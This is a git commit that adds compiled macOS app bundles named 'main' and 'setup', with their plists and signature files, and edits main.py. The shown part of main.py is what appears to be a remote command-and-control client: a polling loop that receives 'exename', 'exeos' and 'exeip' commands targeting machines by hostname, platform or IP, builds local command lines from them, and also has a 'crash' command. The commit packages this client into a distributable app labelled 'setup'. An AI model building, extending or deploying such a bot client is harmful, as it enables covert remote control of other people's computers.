diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 14:01:06 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 14:01:06 +0800 |
| commit | 13a6538c8b6683ce6e11329296c6c590b582a949 (patch) | |
| tree | 8e6cbd457f6000a1f86692c53baca953a465661a | |
| parent | 7abed367630a3b8464987ad0c78b6948f584d9dd (diff) | |
fuck you
| -rwxr-xr-x | dist/main-mac | bin | 0 -> 11069216 bytes | |||
| -rw-r--r-- | dist/main.app.zip | bin | 0 -> 10953832 bytes | |||
| -rw-r--r-- | dist/main.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 0 -> 11069216 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | dist/main.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rwxr-xr-x | dist/setup-mac | bin | 0 -> 11059232 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 0 -> 10943596 bytes | |||
| -rw-r--r-- | dist/setup.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 0 -> 11059232 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | dist/setup.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rw-r--r-- | main.py | 12 |
13 files changed, 312 insertions, 4 deletions
diff --git a/dist/main-mac b/dist/main-mac Binary files differnew file mode 100755 index 0000000..8bd811d --- /dev/null +++ b/dist/main-mac diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differnew file mode 100644 index 0000000..bcc161a --- /dev/null +++ b/dist/main.app.zip diff --git a/dist/main.app/Contents/Info.plist b/dist/main.app/Contents/Info.plist new file mode 100644 index 0000000..d658c02 --- /dev/null +++ b/dist/main.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>main</string> + <key>CFBundleExecutable</key> + <string>main</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>main</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>main</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differnew file mode 100755 index 0000000..69d9b22 --- /dev/null +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/main.app/Contents/Resources/icon-windowed.icns b/dist/main.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/dist/main.app/Contents/Resources/icon-windowed.icns diff --git a/dist/main.app/Contents/_CodeSignature/CodeResources b/dist/main.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/main.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> diff --git a/dist/setup-mac b/dist/setup-mac Binary files differnew file mode 100755 index 0000000..90ceace --- /dev/null +++ b/dist/setup-mac diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differnew file mode 100644 index 0000000..fe4e9c0 --- /dev/null +++ b/dist/setup.app.zip diff --git a/dist/setup.app/Contents/Info.plist b/dist/setup.app/Contents/Info.plist new file mode 100644 index 0000000..d086386 --- /dev/null +++ b/dist/setup.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>setup</string> + <key>CFBundleExecutable</key> + <string>setup</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>setup</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>setup</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differnew file mode 100755 index 0000000..96b77bb --- /dev/null +++ b/dist/setup.app/Contents/MacOS/setup diff --git a/dist/setup.app/Contents/Resources/icon-windowed.icns b/dist/setup.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/dist/setup.app/Contents/Resources/icon-windowed.icns diff --git a/dist/setup.app/Contents/_CodeSignature/CodeResources b/dist/setup.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/setup.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> @@ -85,15 +85,18 @@ while True: if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: - del localcmd[2] + del localcmd[0] + del localcmd[0] localcmd = ' '.join(localcmd) + print(localcmd) else: old_command = commandId continue if command.startswith("exeos "): localcmd = command.split() if localcmd[1] == platform: - del localcmd[2] + del localcmd[0] + del localcmd[0] localcmd = ' '.join(localcmd) else: old_command = commandId @@ -101,9 +104,10 @@ while True: if command.startswith("exeip "): localcmd = command.split() if localcmd[1] == ip: - del localcmd[2] + del localcmd[0] + del localcmd[0] localcmd = ' '.join(localcmd) - else: + else: old_command = commandId continue if command.startswith("crash"): |
